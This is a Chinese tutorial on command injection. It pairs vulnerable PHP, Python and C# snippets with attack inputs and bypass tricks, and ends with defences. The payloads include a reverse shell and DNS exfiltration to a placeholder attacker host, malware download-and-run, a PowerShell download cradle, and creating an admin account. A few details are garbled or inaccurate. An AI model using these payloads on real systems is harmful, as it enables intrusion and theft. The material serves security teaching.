本文目录导读:

关于命令注入(Command Injection),这通常是攻击者通过在Web应用或系统的输入字段中插入恶意系统命令,从而在服务器上执行非授权的操作。
这里为你整理几个典型的命令注入案例,涵盖从简单到复杂的场景,以及相应的攻击原理和防御措施。
基础型 - Ping检查工具
这是最常见的入门级案例,通常出现在网站的诊断工具中(如 Ping、Traceroute、Nslookup)。
-
背景:一个网站提供“检查网络连通性”功能,用户输入IP地址,服务器执行
ping命令并返回结果。 -
安全漏洞代码(PHP为例):
// 危险代码:直接拼接用户输入到系统命令 $ip = $_GET['ip']; $output = shell_exec("ping -c 4 " . $ip); echo "<pre>$output</pre>"; -
正常使用:用户在输入框中输入
8.8.8,服务器执行ping -c 4 8.8.8.8。 -
攻击利用:攻击者输入:
8.8.8 ; ls /- 原理:在Linux/Unix系统中,分号 用于分隔多条命令,服务器实际执行的命令变为:
ping -c 4 8.8.8.8 ; ls /
这会先ping谷歌DNS,然后列出服务器根目录。
- 原理:在Linux/Unix系统中,分号 用于分隔多条命令,服务器实际执行的命令变为:
-
更进一步的攻击:
# 读取敏感文件 8.8.8.8 && cat /etc/passwd # 开启反向Shell(后续包含后续控制) 8.8.8.8 | nc -e /bin/sh attacker.com 4444 # 下载并执行恶意软件 8.8.8.8 | wget http://恶意服务器/malware.sh && chmod +x malware.sh && ./malware.sh
基于错误/盲注型 - DNS日志查询
当应用程序不直接返回命令执行结果(Blind Command Injection),攻击者需要通过外部观察(如时间延迟、DNS请求)来窃取数据。
-
背景:一个应用接收用户输入的域名,检查其DNS记录。
-
安全漏洞代码(Python Flask为例):
import subprocess from flask import request @app.route('/dns_lookup', methods=['POST']) def lookup(): domain = request.form['domain'] # 危险:未过滤 result = subprocess.check_output(f'nslookup {domain}', shell=True) return result -
攻击利用(时间盲注): 输入:
google.com && sleep 5- 原理:如果浏览器等待了5秒才返回结果,证明命令注入成功。
-
攻击利用(数据外带 - 通过DNS): 攻击者可以构造命令,将数据内容作为DNS请求的一部分发送到自己的服务器:
google.com && nslookup `whoami`.attacker-controlled-domain.com- 原理:服务器会执行
nslookup root.attacker-controlled-domain.com,攻击者在自己的DNS服务器上看到来自目标服务器的包含用户名 (root) 的请求,从而窃取数据。
- 原理:服务器会执行
Windows环境 - 文件名搜索
Windows系统的命令注入利用方式与Linux不同,但同样危险。
-
背景:一个应用允许用户输入文件名的一部分,搜索服务器上的文件。
-
安全漏洞代码(ASP.NET C# 为例):
// 危险代码 string searchTerm = Request.QueryString["file"]; // 用户输入: report.txt Process.Start("cmd.exe", "/c dir /b " + searchTerm); -
攻击利用: 攻击者输入:
report.txt & whoami- 原理:在Windows命令提示符中,
&(或 、&&)用于连接命令,实际执行:dir /b report.txt & whoami
这会返回当前用户身份。
- 原理:在Windows命令提示符中,
-
更危险的利用:
# 添加用户到管理员组 report.txt & net user hacker Password123! /add & net localgroup Administrators hacker /add # 通过PowerShell执行远程脚本 report.txt | powershell -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://恶意服务器/evil.ps1')"
绕过防御 - 空格/黑名单绕过
很多开发者会尝试过滤危险字符,但攻击者可以绕过。
- 场景:开发人员过滤了空格 (;|&$` 等字符。
- 绕过技巧:
- Tab替代空格:在Linux下,Tab (
%09或\t) 可以充当命令分隔符。- 输入:
8.8.8%09ls%09-la
- 输入:
- 环境变量拼接:
- 输入:
8.8.8;{$IFS}cat${IFS}/etc/passwd(使用内部字段分隔符$IFS代替空格)
- 输入:
- 编码/Bash扩展:
- 输入:
8.8.8;c'at' /etc'/'passwd(单引号被Bash忽略) - 输入:
8.8.8;$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")(十六进制编码)
- 输入:
- 换行符:
- 输入:
8.8.8%0acat /etc/passwd(URL编码的换行符%0a也可以作为命令结束符)
- 输入:
- 无参数命令:如果目标程序是
curl,攻击者可以使用-o参数将内容写入新文件,而不需要使用分号。
- Tab替代空格:在Linux下,Tab (
- 避免直接调用系统命令:优先使用语言内置的API或库函数(如PHP的
filter_var、Python的socket.gethostbyname)。 - 输入验证(白名单):只允许预期格式的输入(如纯IP地址、纯域名),对不符合规则的输入直接拒绝。
- 例子:
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $domain)) { die('无效输入'); }
- 例子:
- 转义与参数化:如果不得不调用系统命令,使用不经过Shell的函数(如PHP的
escapeshellcmd+escapeshellarg,Python的subprocess.run的list模式)。- 安全代码示例 (Python):
# 安全:不设置 shell=True,并使用列表传递参数 subprocess.run(['ping', '-c', '4', user_input])
- 安全代码示例 (Python):
- 最小权限原则:确保运行Web服务的系统用户(如
www-data)只有执行其任务所需的最低权限,不能写入系统目录或添加用户。 - 禁用危险函数:在PHP中,可以在
php.ini中禁用exec、system、shell_exec、passthru、popen等函数。